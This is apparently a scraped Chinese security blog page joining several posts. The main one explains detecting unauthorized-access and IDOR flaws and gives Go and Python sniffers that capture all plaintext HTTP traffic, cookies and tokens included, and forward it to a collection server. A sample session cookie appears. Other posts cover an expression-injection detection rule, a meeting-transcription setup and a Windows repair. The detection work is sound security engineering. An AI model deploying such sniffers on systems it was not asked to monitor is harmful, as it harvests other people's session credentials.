未授权的场景可以理解为：访问一个接口，将cookie/token删除，重新请求接口如果还是存在数据返回，则存在未授权访问。

但是未授权又分三个场景

1、后端没有对请求的cookie/token进行校验就走了业务逻辑流程导致返回了数据

2、后端判断了当前请求是否带有cookie/token，但是没有判断当前token/cookie是否有效

3、后端判断了当前请求是否带有cookie/token，但是没有判断当前的token/cookie是否有权限访问这个数据

这里有点像越权的范畴，需要清晰了解未授权与越权漏洞的边界

2、未授权检测实现方案

例如这是一个正常请求头

Headers[(b'Host', b'172.20.10.5:8109'), (b'User-Agent', b'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0'), (b'Accept', b'*/*'), (b'Accept-Language', b'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'), (b'Accept-Encoding', b'gzip, deflate'), (b'Connection', b'keep-alive'), (b'Cookie', b'session=eyJ1c2VyaWQiOjI3LCJ1c2Vycm9sZWlkIjo5OX0.ZCQjlw.IqMSJjOnlony_c1gtf18URKrGMU')]

此时存在cookie这个键值对，如果此时将cookie删除

[(b'Host', b'172.20.10.5:8109'), (b'User-Agent', b'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0'), (b'Accept', b'*/*'), (b'Accept-Language', b'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'), (b'Accept-Encoding', b'gzip, deflate'), (b'X-Requested-With', b'XMLHttpRequest'), (b'Connection', b'keep-alive'), (b'Referer', b'http://172.20.10.5:8109/usermanager')]

通过计算返回值的余弦相似度就可以获得想要的结果。

越权实现方案二

上述方案存在部分缺点

1、需要用户配置代理

2、需要用户手动配置账号token

这在甲方安全建设推动中会极大的影响效率以及安全部门推进的速度。

实现方案二主要解决了上述2个问题。

1、GoLang gopacket实现

1.1、实现方式一

1.1、获取HTTP请求

package main

import (
    "fmt"
    "github.com/google/gopacket"
    "github.com/google/gopacket/layers"
    "github.com/google/gopacket/pcap"
    "log"
    "time"
)

func main() {
    const (
        // 网络设备
        EthDev string = "eth0"
        // 抓取数据长度
        SnapLen int32 = 65535
        // 是否开启混合模式，混合模式就是不属于本网卡IP的流量
        Promisc bool = false
        // 展示细节的时间
        Timeout time.Duration = time.Second * 3
        // 抓取端口
        DstPort layers.TCPPort = 8088
    )
    // 对网卡流量进行实时捕获
    handler, err := pcap.OpenLive(EthDev, SnapLen, Promisc, Timeout)
    if err != nil {
        log.Fatalln(err)
    }
    defer handler.Close()
    // 获取包源
    source := gopacket.NewPacketSource(handler, handler.LinkType())
    var isApp bool
    for pk := range source.Packets() {
        // 网络四层模型
        // LinkLayer returns the first link layer in the packet
        // LinkLayer() LinkLayer
        // NetworkLayer returns the first network layer in the packet
        // NetworkLayer() NetworkLayer
        // TransportLayer returns the first transport layer in the packet
        // TransportLayer() TransportLayer
        // ApplicationLayer returns the first application layer in the packet
        // ApplicationLayer() ApplicationLayer

        isApp = false
        if layer := pk.TransportLayer(); layer != nil {
            if tcpLayer, ok := layer.(*layers.TCP); ok && tcpLayer.DstPort == DstPort {
                fmt.Println()
                fmt.Printf("TCP Payload: %s\n", string(tcpLayer.Payload))
                fmt.Printf("TCP ContentsLenght: %d \n", len(tcpLayer.Contents))
                fmt.Println(pk.String())
                if len(tcpLayer.Payload) > 0 {
                    isApp = true
                }
            }
        }

        if isApp {
            if appLayer := pk.ApplicationLayer(); appLayer != nil {
                fmt.Println("APP Contents:", string(appLayer.LayerContents()))
                fmt.Println("APP Contents Length:", len(appLayer.LayerContents()))
            }
        }
    }
}

基础实现Demo如上代码示例

可以获取HTTP请求

1.2、获取HTTPS请求

暂时没找到实现HTTPS的方案

1.2、实现方式二

package main

import (
    "fmt"
    "log"
    "os"
    "os/signal"
    "strings"
    "syscall"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

func main() {
    handle, err := pcap.OpenLive("any", 1600, true, pcap.BlockForever)
    if err != nil {
        log.Fatal(err)
    }
    defer handle.Close()

    filter := "tcp"
    if err := handle.SetBPFFilter(filter); err != nil {
        log.Fatal(err)
    }

    packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

    fmt.Println("Starting packet capture...")
    for {
        select {
        case packet := <-packetSource.Packets():
            // 检查数据包是否是HTTP请求
            if appLayer := packet.ApplicationLayer(); appLayer != nil {
                payload := appLayer.Payload()
                if bytesContain(payload, []byte("HTTP")) {
                    // 解析HTTP请求的Header
                    headers := parseHTTPHeaders(payload)
                    fmt.Println("=== HTTP Request Headers ===")
                    for name, value := range headers {
                        fmt.Printf("%s : %s\n", name, value)
                    }
                    fmt.Println("=============================")
                }
            }
        case <-sigChan:
            fmt.Println("Stopping packet capture...")
            return
        }
    }
}

func bytesContain(source, target []byte) bool {
    for i := 0; i <= len(source)-len(target); i++ {
        if bytesEqual(source[i:i+len(target)], target) {
            return true
        }
    }
    return false
}

func bytesEqual(a, b []byte) bool {
    if len(a) != len(b) {
        return false
    }
    for i, v := range a {
        if v != b[i] {
            return false
        }
    }
    return true
}

func parseHTTPHeaders(payload []byte) map[string]string {
    headers := make(map[string]string)
    lines := strings.Split(string(payload), "\r\n")
    for _, line := range lines {
        parts := strings.SplitN(line, ": ", 2)
        if len(parts) == 2 {
            headers[parts[0]] = parts[1]
        }
    }
    return headers
}

该实现放在调用pcap.OpenLive的时候传入了any表示所有的网卡流量都采集，并且在fillter只选择TCP，也就最后是HTTP的流量。

2、Python Scapy实现

2.1、实现方式一

该实现方式可以让用户准确配置，采集的端口和网卡

# -*- coding: utf-8 -*-
# @Time    : 2023/8/11 10:17
# @Author  : UzJu
# @Site    : UzzJu.com
# @File    : py_snniffer.py
# @Software: PyCharm 
# @Comment : :)
# ! /usr/bin/env python3
from scapy.all import *


def http_header(packet):
    http_packet = str(packet)
    if "GET" in http_packet:
        return GET_print(packet)


def GET_print(packet1):
    ret = "***************************************GET PACKET****************************************************\n"
    ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
    ret += "*****************************************************************************************************"
    print(ret)


def main():
    sniff(iface="en0", prn=http_header, filter="tcp port 6234")


if __name__ == '__main__':
    main()

2.2、实现方式二

from scapy.all import *


def process_packet(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        payload = packet[Raw].load.decode('utf-8', errors='ignore')
        if 'HTTP' in payload:
            http_headers = payload.split('\r\n\r\n')[0].split('\r\n')[1:]
            print("=== HTTP Request Headers ===")
            for header in http_headers:
                print(header)


def main():
    sniff(filter='tcp', prn=process_packet, store=0)


if __name__ == "__main__":
    main()

这种实现方式，只采集HTTP流量，并且输出，也就意味着会无差别的采集服务器上所有端口的HTTP流量(不包含HTTPS)。

相较于实现方式一的好处是用户无需配置，安装agent即可。

3、具体实现

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "os"
    "os/signal"
    "strings"
    "syscall"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

type RequestHttpHeaders struct {
    Method  string
    URL     string
    Headers map[string]string
    Body    string
}

type ResponseHttpHeaders struct {
    Headers map[string]string
    Body    string
}

type HTTPRequestResponse struct {
    Request  HTTPHeaders `json:"request"`
    Response HTTPHeaders `json:"response"`
}

type HTTPHeaders struct {
    Method    string            `json:"method"`
    URL       string            `json:"url"`
    Headers   map[string]string `json:"headers"`
    Body      string            `json:"body"`
    IsRequest bool              `json:"-"`
}

func main() {
    handle, err := pcap.OpenLive("any", 65535, true, pcap.BlockForever)
    if err != nil {
        log.Fatal(err)
    }
    defer handle.Close()

    filter := "tcp"
    if err := handle.SetBPFFilter(filter); err != nil {
        log.Fatal(err)
    }

    packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

    var requestsResponses []HTTPRequestResponse

    fmt.Println("Starting packet capture...")
    for {
        select {
        case packet := <-packetSource.Packets():
            if appLayer := packet.ApplicationLayer(); appLayer != nil {
                payload := appLayer.Payload()
                if bytesContain(payload, []byte("HTTP")) {
                    headers, body := parseHTTPHeaderAndBody(payload)
                    isRequest := strings.Contains(string(payload), "GET") || strings.Contains(string(payload), "POST")

                    httpHeaders := HTTPHeaders{
                        Method:    getRequestMethod(payload),
                        URL:       getRequestURL(payload),
                        Headers:   headers,
                        Body:      body,
                        IsRequest: isRequest,
                    }

                    if isRequest {
                        requestsResponses = append(requestsResponses, HTTPRequestResponse{
                            Request:  httpHeaders,
                            Response: HTTPHeaders{},
                        })
                    } else {
                        lastIdx := len(requestsResponses) - 1
                        if lastIdx >= 0 {
                            requestsResponses[lastIdx].Response = httpHeaders
                        }
                    }
                }
            }
        case <-sigChan:
            fmt.Println("Stopping packet capture...")

            data, err := json.MarshalIndent(requestsResponses, "", "  ")
            if err != nil {
                log.Fatal(err)
            }
            if err := os.WriteFile("requests_responses.json", data, 0644); err != nil {
                log.Fatal(err)
            }

            return
        }
    }
}

func bytesContain(source, target []byte) bool {
    for i := 0; i <= len(source)-len(target); i++ {
        if bytesEqual(source[i:i+len(target)], target) {
            return true
        }
    }
    return false
}

func bytesEqual(a, b []byte) bool {
    if len(a) != len(b) {
        return false
    }
    for i, v := range a {
        if v != b[i] {
            return false
        }
    }
    return true
}

func parseHTTPHeaderAndBody(payload []byte) (map[string]string, string) {
    headers := make(map[string]string)
    lines := strings.Split(string(payload), "\r\n")
    var body string
    for i, line := range lines {
        if line == "" {
            body = strings.Join(lines[i+1:], "\r\n")
            break
        }
        parts := strings.SplitN(line, ": ", 2)
        if len(parts) == 2 {
            headers[parts[0]] = parts[1]
            if parts[0] == "Host" && strings.HasPrefix(parts[1], "http") {
                headers["Method"] = strings.Fields(lines[i+1])[0]
                headers["URL"] = parts[1]
            }
        }
    }
    return headers, body
}
func getRequestMethod(payload []byte) string {
    lines := strings.Split(string(payload), "\r\n")
    parts := strings.Fields(lines[0])
    if len(parts) > 0 {
        return parts[0]
    }
    return ""
}

func getRequestURL(payload []byte) string {
    lines := strings.Split(string(payload), "\r\n")
    parts := strings.Fields(lines[0])
    if len(parts) > 1 {
        return parts[1]
    }
    return ""
}

上述代码主要功能，通过采集所有网卡(any)，最大65535字节大小的HTTP GET/POST请求，并给到结构体，最后输出到JSON文件中。

采集的数据如下

https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/test_file/requests_responses.json

从上面的流程中已经拿到了完整的HTTP请求，只需要传输到接口上，下面用flask简单实现一个接口

from flask import Flask, request

app = Flask(__name__)


@app.route('/receive', methods=['POST'])
def receive_json():
    json_data = request.json
    print("Received JSON Data:")
    print(json_data)
    return 'JSON data received'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

获取JSON数据即可。

主要思路

1、采集HTTP请求

2、传输至服务端进行解析

3、替换鉴权字段重新请求

4、判断是否存在越权漏洞。

4、上述方案的缺点

1、无法采集HTTPS流量。

https解决方案
- ebpf
- 代理装证书

2、gopacket无法采集到响应

在测试中发现gopacket的嗅探采集是类似异步，不太好将request和response一一对应。

洞态IAST检测优化：Fel表达式注入

Fri, 13 Oct 2023 14:01:35 +0800

一、简介

　Fel是开放的，引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数），所有这些函数都是可以替换的，扩展函数也非常简单。

Fel有双引擎，同时支持解释执行和编译执行。可以根据性能要求选择执行方式。编译执行就是将表达式编译成字节码（生成java代码和编译模块都是可以扩展和替换的）

　FEL可以进行算数运算以及逻辑运算，也可以调用类的静态方法、非静态方法。

pom.xml

<dependency>
    <groupId>org.eweb4j</groupId>
    <artifactId>fel</artifactId>
    <version>0.8</version>
</dependency>

老古董：https://github.com/dbcxy/fast-el/tree/master
Google Code：https://code.google.com/archive/p/fast-el/

二、友商测试

1、默安-无法检测

三、洞态IAST

1、描述

el在源自于企业项目，设计目标是为了满足不断变化的功能需求和性能需求。
Fel是开放的，引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数），所有这些函数都是可以替换的，扩展函数也非常简单。
Fel可以执行表达式，如果此时Fel执行的表达式外部可控，则可能导致安全风险。

2、检测规则

com.greenpineyu.fel.parser.AntlrParser.parse(java.lang.String)
参数-P1
深度-当前类以及子类

3、修复方案

官方没有提供标准的修复方案，但是在commit中找到了所谓的安全管理器的实现，文档中也提示需要在保证安全的情况下可使用
https://github.com/dbcxy/fast-el/commit/ac0d5bdb95b5c5d52fe5df5a8b254e5e8ddd8a38
1、使用官方提供的安全管理器

https://github.com/dbcxy/fast-el/commit/ac0d5bdb95b5c5d52fe5df5a8b254e5e8ddd8a38
https://code.google.com/archive/p/fast-el/

洞态IAST检测优化：阿里QLExpress组件表达式注入

Fri, 13 Oct 2023 14:00:55 +0800

MacOS下高效记录会议纪要以及实时音频转文字解决方案

Tue, 27 Jun 2023 11:19:57 +0800

一、前言

本文解决了1个问题

1、如何同时带着耳机，并且能够音频识别电脑播放/会议声音转文字，还能够接收麦克风。

首先为什么会有这样一篇文章，其实大家不管是甲方还是乙方，特别是甲方，大部分时间其实都是被各种会议占满，需求评审，安全评估，安全培训等等等，那么乙方，更多的是与客户开会，或与甲方一样，公司内部开会，那么此时少不了的是会议纪要，可能有些会议比较枯燥，根本不会有人认真去听，但作为打工人来说 :)!

领导：小高啊，那个会议纪要你整理一下然后发给我/客户

我目前基本一周的会议特别多，不管是内部会议，还是外部会议，这时候就会有一个痛点，会议纪要怎么处理？
如果是旁听状态下还好，可以边听边记。
那么如果是主讲人呢？针对会上的问题，会上的内容无法汇总，也无法记录。

当然目前针对腾讯会议，飞书会议等会议办公软件，其实都提供这样的解决方案，会议录制可直接转换成文字，但这相对来说比较繁琐。

内部会议还好，外部会议总开个录屏，给人感觉不是特别好:)

那么有没有一款软件，可以让我在开会时，自动帮我记录会议内容？

华为MetaBook X Pro 就解决这样的问题，但是华为独占，做的也非常好，遥遥领先！

尊贵的水果用户能否拥有这样的体验？

本文会带来作为个人用户的解决方案（本文以水果人用户角度出发）

二、前期调研与产品体验

产品试用体验上，目前体验了以下几款产品

产品名	下载地址	产品形态
Noted	MACOS APP Store	客户端/多形态
语音备忘录日记本	MACOS APP Store	客户端
讯飞听见	在线录音转文字-录音整理-录音转写工具-讯飞听见会记 (iflyrec.com)	客户端/多形态
通义听悟（阿里）	通义听悟 - 你的工作学习AI助手 (aliyun.com)	浏览器/浏览器插件

先说实际体验

1、Noted

总体感觉比较轻量化，并且没有账号体系，macos原生使用Icloud进行同步

付费，价格如下图

1.1、优点

轻量化
编写
简单易用

1.2、缺点

语音转文字并不是特别准

见下图

这是来自我在一场面试时记录的内容，这里是求职者在介绍学校，但可以发现，错别字非常严重，另外完整记录下来，可读性基本为0。

2、通义听悟（阿里）

由于没有客户端，所以跳过

3、讯飞听见

科大讯飞目前是体验下来针对会议纪要最好的一个产品，毕竟做语音识别这么多年的大厂了。

来看看语音识别的能力

总体来说，转文字的识别率还是很高的，并且准确率也还行。

实际会议使用上发现也不错

缺点呢就是，加钱！

4、总结

目前会继续体验《讯飞听见》和《Noted》这两款产品，想看看一款好的产品能做到什么程度。

当然，一款好的产品，能够解决用户的痛点，帮助提升效率等，我觉得是值得付费的。

今年也是大大小小购买了很多正版的产品，比如Macos下的超级右键，自动切换输入法等，虽然这些产品都有公开的破解版可供下载，但如果在允许的条件下，也可以对开发者进行支持。

5、遇到的问题

其实在体验的过程中发现1个很严重的问题，如果不带耳机的情况下，外放进行电脑声音以及麦克风转文字的方案是可行的，但是如果使用耳机，那么常规的方案就不行了，至少我在macos的尝试下以及，阿里的听悟，科大讯飞，都没有见到能解决这个场景的，这也是本文带来的解决方案。

场景举例

1、现在需要使用腾讯会议开会，带着耳机

需要实现的内容

戴耳机的情况下需要能够识别电脑腾讯会议音频输出并且转文字
戴耳机的情况下能够接受耳机的麦克风音频输入并且转文字

三、如何在使用耳机的情况下同时录制电脑的声音以及耳机的麦克风

1、LoopBack

这个问题的解决方案是使用LoopBack创建一个虚拟的音频设备，来解决该问题。

再安装完成后Macos下会多出一个虚拟的音频驱动，打开LoopBack开始配置

2、LoopBack配置

点击下方的New Virtual Device来新建一个设备

配置如下

sources默认即可，再output中新增一个输出，监听中新增并选择耳机，我这里是AirPods Pro，所以选择自己的耳机名字。

随后在讯飞听见配置如下

这样配置后的效果

能够同时将电脑的音频输出与耳机的麦克风同时音频转文字，解决了上述的痛点。

3、最终效果

录制电脑音频

耳机语音输入

Windows11 LogonUI.exe 系统在应用程序中检测到基于堆栈都缓冲区溢出，溢出允许恶意用户获得此应用程序都控制。

Sun, 04 Jun 2023 14:11:11 +0800

问题

LogonUI.exe系统错误

系统在应用程序中检测到基于堆栈都缓冲区溢出，溢出允许恶意用户获得此应用程序都控制。

事情线：2023年6月3日一整天直至次日凌晨2点，我都不在家，次日凌晨2点（6月4日）回到家中发现一直运行中都电脑出现这个提示。

描述：LogonUI.exe 是 Windows 操作系统中的一个关键组件，它用于管理登录过程中显示的用户界面。”LogonUI” 实际上是 “Login User Interface” 的缩写，这就是它的主要职责：提供用户登录界面。

当你启动 Windows 电脑时，LogonUI.exe 将显示一个屏幕，让你输入用户名和密码或者选择一个用户账户进行登录。如果你的电脑设置了锁屏，那么在你退出锁屏并返回到 Windows 时，同样是 LogonUI.exe 提供的用户界面让你输入密码。

因此，如果 LogonUI.exe 发生错误或者被破坏，用户可能无法正常登录到系统。在某些情况下，错误可能导致系统无法正常启动，或者在登录过程中出现问题。

Google尝试了很多方法都没什么用，推荐B站都文章：https://www.bilibili.com/read/cv22299902

解决办法

1、进入Windows11 高级启动

注意：不要进PE，我自己做了一个大白菜PE，但是进PE无法操作这些东西，切没有SFC，总结就是不要进PE，没有用

开机后，进入Windows，弹出LogonUI.exe都报错后就长按电源，强制关机，反复3次左右，就会自动加载Windows高级启动

2、修复

在高级模式中打开CMD终端，输入下面都命令

sfc /scannow

此时会自动修复

随后重启会自动进入Windows安全模式，然后Windows的窗口桌面一直都是无响应，鼠标无法点击，不用管，直接WIN+R打开CMD。

然后再重启，就修复完毕了，就能自动进入系统

UzzzzZ

CodeOrion：从代码图到 Agentic 代码审计

一、白盒扫描正在从“规则命中”走向“图谱、证据和 Agent”

1、Code Property Graph：代码图路线已经被长期验证

2、CodeQL 和 Semgrep 证明了 source / sink 模型的价值，也暴露了规则维护成本

3、SCA 解决了组件可见性，但还不等于组件风险可达性

4、LLM Agent 正在进入告警研判，但不能只做“告警解释器”

二、传统白盒扫描的几个痛点

1、规则硬编码问题

2、上下文不足问题

3、组件风险深入困难

三、CodeOrion 的定位：不直接判漏洞，而是提供结构事实

四、MCP：让代码图成为 Agent 的工具

五、更理想化的目标：从业务漏洞走向组件 0day 风险链路

六、一个具体例子：Fastjson 反序列化链路可以怎么追

1、扫描项目并打开框架入口和依赖调用图

2、从 HTTP 入口开始追踪

3、从依赖方法反向追踪谁在用它

4、Agent 不是直接报漏洞，而是登记证据

七、Python 和 Go 的组件依赖怎么做

1、Python：从 requirements / pyproject 到 site-packages 源码展开

2、Go：从 go.mod 到 GOMODCACHE，按需展开模块函数

八、CodeOrion-Agent：把静态图谱变成审计闭环

1、通用编码 Agent 做审计的问题

2、Spring Cloud 跨服务调用追踪：一次探索和尝试

3、审计方法论

4、证据契约

5、PoC 和验证

6、覆盖检查

九、真实靶场验证：从审计到自动化 PoC

1、一次 SQL 注入审计的完整产物

2、验证子 Agent 会自动处理登录、CSRF 和 Cookie

3、动态验证不只是“请求成功”，而是要解释结果

4、CodeOrion 的结果不是一段文字

十、和传统 SAST 的区别

十一、一个更接近真实审计的例子

十二、当前边界

十三、结语

十四、参考资料

Nacos RCE漏洞分析

漏洞简介

漏洞描述

影响范围

漏洞复现

漏洞分析

疑问解答

漏洞排查

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

基本信息

功能点

漏洞复现

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

漏洞描述

影响泛微

漏洞复现

漏洞分析

修复方案

"限时福利：Splashtop 免费送一年高级远程支持服务，价值990元"

Splashtop 更多商业版软件

Splashtop Business Access

Splashtop Enterprise

Splashtop On-Prem

Splashtop 软件特性

1、高性能 高画质

2、全平台支持

3、安全可靠

4、功能全面

Splashtop 简介

未授权与垂直/水平越权(IDOR)检测实现方案

未授权与垂直/水平越权(IDOR)检测实现方案

TODO

越权(IDOR)

1、越权漏洞与逻辑漏洞的边界

1.1、首先什么是越权漏洞

1.2、什么是垂直越权

1.3、什么是水平越权

1.4、什么是逻辑漏洞

1.4.1、案例一

1.4.2、案例二

1、高性能高画质